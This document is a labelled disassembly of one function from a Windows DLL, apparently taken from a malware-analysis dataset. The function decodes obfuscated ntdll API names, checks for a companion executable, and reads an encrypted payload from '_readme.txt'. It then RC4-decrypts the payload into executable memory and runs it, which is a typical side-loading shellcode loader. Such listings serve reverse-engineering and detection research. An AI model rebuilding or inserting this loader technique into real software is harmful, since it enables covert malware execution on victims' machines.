Function at 0x10001a40
Capabilities:
Check if file exists
Create thread
Enumerate processes
Get file size
Query environment variable
Read file on windows
Terminate process
Terminate process by name

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x6dc
push ebx
push esi
push edi
push 0x80
lea eax, [esp + 0x564]
push 0
push eax
call fcn.10003c40
add esp, 0xc
mov dword [esp + 0xa0], 0
lea ecx, [esp + 0xa0]
mov dword [esp + 0xb0], 0
mov dword [esp + 0xb4], 0xf
push str.JVN5c3RlbVJvb3QlXFxzeXN0ZW0zMlxcbnRkbGwuZGxs
call fcn.10001600
lea edx, [esp + 0xa0]
lea ecx, [esp + 0x88]
call fcn.100011a0
cmp dword [esp + 0x9c], 0x10
lea eax, [esp + 0x88]
push 0x104
cmovae eax, dword [esp + 0x8c]
push 0x100163b8
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
push str.bnRkbGwuZGxs
lea ecx, [esp + 0x108]
mov dword [esp + 0x108], 0
mov dword [esp + 0x118], 0
mov dword [esp + 0x11c], 0xf
call fcn.10001600
lea edx, [esp + 0x104]
lea ecx, [esp + 0x70]
call fcn.100011a0
cmp dword [esp + 0x84], 0x10
lea eax, [esp + 0x70]
push str.TnRBbGxvY2F0ZVZpcnR1YWxNZW1vcnk
cmovae eax, dword [esp + 0x74]
lea ecx, [esp + 0xf0]
mov dword [esp + 0x10], eax
mov dword [esp + 0xf0], 0
mov dword [esp + 0x100], 0
mov dword [esp + 0x104], 0xf
call fcn.10001600
lea edx, [esp + 0xec]
lea ecx, [esp + 0x58]
call fcn.100011a0
cmp dword [esp + 0x6c], 0x10
lea esi, [esp + 0x58]
push str.TnRXcml0ZVZpcnR1YWxNZW1vcnk
cmovae esi, dword [esp + 0x5c]
lea ecx, [esp + 0xd8]
mov dword [esp + 0xd8], 0
mov dword [esp + 0xe8], 0
mov dword [esp + 0xec], 0xf
call fcn.10001600
lea edx, [esp + 0xd4]
lea ecx, [esp + 0x40]
call fcn.100011a0
cmp dword [esp + 0x54], 0x10
lea ebx, [esp + 0x40]
push str.TnRDcmVhdGVUaHJlYWRFeA
cmovae ebx, dword [esp + 0x44]
lea ecx, [esp + 0xc0]
mov dword [esp + 0xc0], 0
mov dword [esp + 0xd0], 0
mov dword [esp + 0xd4], 0xf
call fcn.10001600
lea edx, [esp + 0xbc]
lea ecx, [esp + 0x28]
call fcn.100011a0
cmp dword [esp + 0x3c], 0x10
lea edi, [esp + 0x28]
mov ecx, dword [esp + 0xc]
cmovae edi, dword [esp + 0x28]
call fcn.100018b0
mov ecx, esi
mov dword [esp + 0x10], eax
call fcn.100018b0
mov esi, eax
mov ecx, ebx
call fcn.100018b0
mov ecx, edi
mov dword [esp + 0x14], eax
call fcn.100018b0
mov ebx, dword [esp + 0x10]
mov dword [esp + 0x24], eax
lea edi, [esi + ebx]
mov ecx, edi
call fcn.10001950
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [esp + 0xc], eax
test eax, eax
jne 0x10001c74
push 0x100163b8
call esi
mov ecx, edi
call fcn.10001950
mov dword [esp + 0xc], eax
mov edi, dword [esp + 0x14]
add edi, ebx
mov ecx, edi
call fcn.10001950
mov ebx, eax
mov dword [esp + 0x14], ebx
test ebx, ebx
jne 0x10001c9d
push 0x100163b8
call esi
mov ecx, edi
call fcn.10001950
mov dword [esp + 0x14], eax
mov ecx, dword [esp + 0x24]
add ecx, dword [esp + 0x10]
call fcn.10001950
test eax, eax
jne 0x10001cb5
push 0x100163b8
call esi
push 0x104
lea eax, [esp + 0x354]
push 0
push eax
call fcn.10003c40
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [esp + 0x35c]
add esp, 0xc
push 0x104
push eax
push 0
call esi
lea eax, [esp + 0x350]
push 0x5c
push eax
call fcn.100038a0
lea ecx, [esp + 0x358]
add esp, 8
dec ecx
mov byte [eax], 0
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
test al, al
jne 0x10001d00
mov eax, dword [str._tosbtkbd.exe]
mov edi, dword [sym.imp.KERNEL32.dll_CreateFileA]
push 0
mov dword [ecx], eax
mov eax, dword [0x10012e60]
push 0
mov dword [ecx + 4], eax
mov eax, dword [0x10012e64]
push 3
mov dword [ecx + 8], eax
mov ax, word [0x10012e68]
push 0
push 0
mov word [ecx + 0xc], ax
lea eax, [esp + 0x364]
push 0x80000000
push eax
call edi
test eax, eax
je 0x1000227c
cmp eax, 0xffffffff
je 0x1000227c
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x104
lea eax, [esp + 0x45c]
push 0
push eax
call fcn.10003c40
add esp, 0xc
lea eax, [esp + 0x458]
push 0x104
push eax
push 0
call esi
lea eax, [esp + 0x458]
push 0x5c
push eax
call fcn.100038a0
lea ecx, [esp + 0x460]
add esp, 8
dec ecx
mov byte [eax], 0
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
test al, al
jne 0x10001da7
mov eax, dword [str._readme.txt]
push 0
push 0x80
mov dword [ecx], eax
mov eax, dword [0x10012e70]
push 3
push 0
mov dword [ecx + 4], eax
mov eax, dword [0x10012e74]
push 1
mov dword [ecx + 8], eax
lea eax, [esp + 0x46c]
push 0x10000000
push eax
call edi
mov edi, eax
push 0
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebx, eax
push ebx
mov dword [esp + 0x14], ebx
call fcn.10005bdf
add esp, 4
mov esi, eax
lea eax, [esp + 0x11c]
push 0
push eax
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
sub esi, 0xffffff80
call fcn.100028c7
add esp, 4
mov dword [esp + 0x20], ebx
mov edi, eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov ebx, eax
mov dword [esp + 0x1c], 0
lea eax, [esp + 0x120]
push eax
push dword [esp + 0x24]
push esi
mov esi, dword [esp + 0x20]
push edi
push ebx
call esi
push 0x40
push 0x3000
lea eax, [esp + 0x28]
push eax
push 0
lea eax, [esp + 0x2c]
push eax
push ebx
call dword [esp + 0x24]
lea eax, [esp + 0x124]
push eax
push dword [esp + 0x24]
push edi
push dword [esp + 0x28]
push ebx
call esi
mov eax, dword [esp + 0x1c]
xor edi, edi
push pe_nt_image_headers32
mov dword [esp + 0x10], eax
lea eax, [esp + 0x22c]
push edi
push eax
call fcn.10003c40
add esp, 0xc
lea eax, [esp + 0x128]
push pe_nt_image_headers32
push edi
push eax
call fcn.10003c40
add esp, 0xc
xor ecx, ecx
nop word [eax + eax]
mov eax, ecx
mov byte [esp + ecx + 0x128], cl
and eax, 0x7f
mov al, byte [esp + eax + 0x560]
mov byte [esp + ecx + 0x228], al
inc ecx
cmp ecx, 0x100
jl 0x10001ec0
xor esi, esi
nop word [eax + eax]
mov dl, byte [esp + esi + 0x128]
movzx eax, byte [esp + esi + 0x228]
add edi, eax
movzx ecx, dl
add edi, ecx
and edi, 0x800000ff
jns 0x10001f16
dec edi
or edi, 0xffffff00
inc edi
mov al, byte [esp + edi + 0x128]
mov byte [esp + esi + 0x128], al
inc esi
mov byte [esp + edi + 0x128], dl
cmp esi, 0x100
jl 0x10001ef0
mov eax, dword [esp + 0x10]
xor esi, esi
xor edi, edi
xor ebx, ebx
add eax, 0xffffff80
je 0x10001fb4
inc esi
and esi, 0x800000ff
jns 0x10001f54
dec esi
or esi, 0xffffff00
inc esi
mov cl, byte [esp + esi + 0x128]
movzx edx, cl
add edi, edx
and edi, 0x800000ff
jns 0x10001f70
dec edi
or edi, 0xffffff00
inc edi
movzx eax, byte [esp + edi + 0x128]
mov byte [esp + esi + 0x128], al
mov byte [esp + edi + 0x128], cl
movzx eax, byte [esp + esi + 0x128]
mov ecx, dword [esp + 0xc]
add eax, edx
movzx eax, al
movzx eax, byte [esp + eax + 0x128]
xor byte [ebx + ecx], al
inc ebx
mov eax, dword [esp + 0x10]
add eax, 0xffffff80
cmp ebx, eax
jb 0x10001f43
mov eax, dword [esp + 0x1c]
jmp 0x10001fb8
mov eax, dword [esp + 0xc]
call eax
mov edx, dword [esp + 0x3c]
cmp edx, 0x10
jb 0x10001ff0
mov ecx, dword [esp + 0x28]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10001fe6
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10002437
push edx
push ecx
call fcn.10002891
add esp, 8
mov edx, dword [esp + 0xd0]
mov dword [esp + 0x38], 0
mov dword [esp + 0x3c], 0xf
mov byte [esp + 0x28], 0
cmp edx, 0x10
jb 0x10002041
mov ecx, dword [esp + 0xbc]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10002037
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10002437
push edx
push ecx
call fcn.10002891
add esp, 8
mov edx, dword [esp + 0x54]
cmp edx, 0x10
jb 0x10002077
mov ecx, dword [esp + 0x40]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1000206d
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10002437
push edx
push ecx
call fcn.10002891
add esp, 8
mov edx, dword [esp + 0xe8]
mov dword [esp + 0x50], 0
mov dword [esp + 0x54], 0xf
mov byte [esp + 0x40], 0
cmp edx, 0x10
jb 0x100020c8
mov ecx, dword [esp + 0xd4]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100020be
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10002437
push edx
push ecx
call fcn.10002891
add esp, 8
mov edx, dword [esp + 0x6c]
cmp edx, 0x10
jb 0x100020fe
mov ecx, dword [esp + 0x58]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100020f4
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10002437
push edx
push ecx
call fcn.10002891
add esp, 8
mov edx, dword [esp + 0x100]
mov dword [esp + 0x68], 0
mov dword [esp + 0x6c], 0xf
mov byte [esp + 0x58], 0
cmp edx, 0x10
jb 0x1000214f
mov ecx, dword [esp + 0xec]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10002145
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10002437
push edx
push ecx
call fcn.10002891
add esp, 8
mov edx, dword [esp + 0x84]
cmp edx, 0x10
jb 0x10002188
mov ecx, dword [esp + 0x70]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1000217e
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10002437
push edx
push ecx
call fcn.10002891
add esp, 8
mov edx, dword [esp + 0x118]
mov dword [esp + 0x80], 0
mov dword [esp + 0x84], 0xf
mov byte [esp + 0x70], 0
cmp edx, 0x10
jb 0x100021df
mov ecx, dword [esp + 0x104]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100021d5
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10002437
push edx
push ecx
call fcn.10002891
add esp, 8
mov edx, dword [esp + 0x9c]
cmp edx, 0x10
jb 0x1000221b
mov ecx, dword [esp + 0x88]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10002211
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10002437
push edx
push ecx
call fcn.10002891
add esp, 8
mov edx, dword [esp + 0xb4]
mov dword [esp + 0x98], 0
mov dword [esp + 0x9c], 0xf
mov byte [esp + 0x88], 0
cmp edx, 0x10
jb 0x10002275
mov ecx, dword [esp + 0xa0]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1000226b
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10002437
push edx
push ecx
call fcn.10002891
add esp, 8
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp eax, 2
je 0x10002296
cmp eax, 3
jne 0x1000233d
push 0
push 0
push 1
push 0
mov dword [esp + 0x24], 0x3e8
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [esp + 0x18], eax
lea eax, [esp + 0xc]
push eax
push 0
lea eax, [esp + 0x1c]
push eax
push 0x10001a20
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0
push dword [esp + 0x1c]
mov dword [esp + 0x2c], eax
call esi
cmp eax, 0x102
jne 0x10002331
mov edi, dword [sym.imp.USER32.dll_PeekMessageA]
nop word [eax + eax]
push 1
push 0
push 0
push 0
lea eax, [esp + 0xb0]
push eax
call edi
test eax, eax
je 0x10002322
lea eax, [esp + 0xa0]
push eax
call dword [sym.imp.USER32.dll_TranslateMessage]
lea eax, [esp + 0xa0]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageA]
push 0
push dword [esp + 0x1c]
call esi
cmp eax, 0x102
je 0x100022f0
push dword [esp + 0x18]
call ebx
push dword [esp + 0x24]
call ebx
push 0x104
lea eax, [esp + 0x5e4]
push 0
push eax
call fcn.10003c40
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push 0x124
mov edi, eax
lea eax, [esp + 0x230]
push 0
push eax
call fcn.10003c40
add esp, 0xc
mov dword [esp + 0xc], 0
mov dword [esp + 0x228], 0x128
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
lea eax, [esp + 0x228]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x100023db
mov ebx, dword [sym.imp.KERNEL32.dll_Process32Next]
nop dword [eax + eax]
cmp dword [esp + 0x230], edi
je 0x100023ca
lea eax, [esp + 0x228]
push eax
push esi
call ebx
test eax, eax
jne 0x100023b0
jmp 0x100023d5
mov eax, dword [esp + 0x240]
mov dword [esp + 0xc], eax
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call ebx
push dword [esp + 0xc]
push 0
push 0x400
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x1000241b
push 0x104
lea eax, [esp + 0x5e4]
push eax
push 0
push esi
call dword [sym.imp.KERNEL32.dll_K32GetModuleFileNameExA]
test eax, eax
jne 0x10002416
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
push esi
call ebx
jmp 0x10002422
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
lea eax, [esp + 0x5e0]
push eax
call dword [sym.imp.SHLWAPI.dll_PathStripPathA]
push 0
call fcn.10005bae
call fcn.100058ac
int3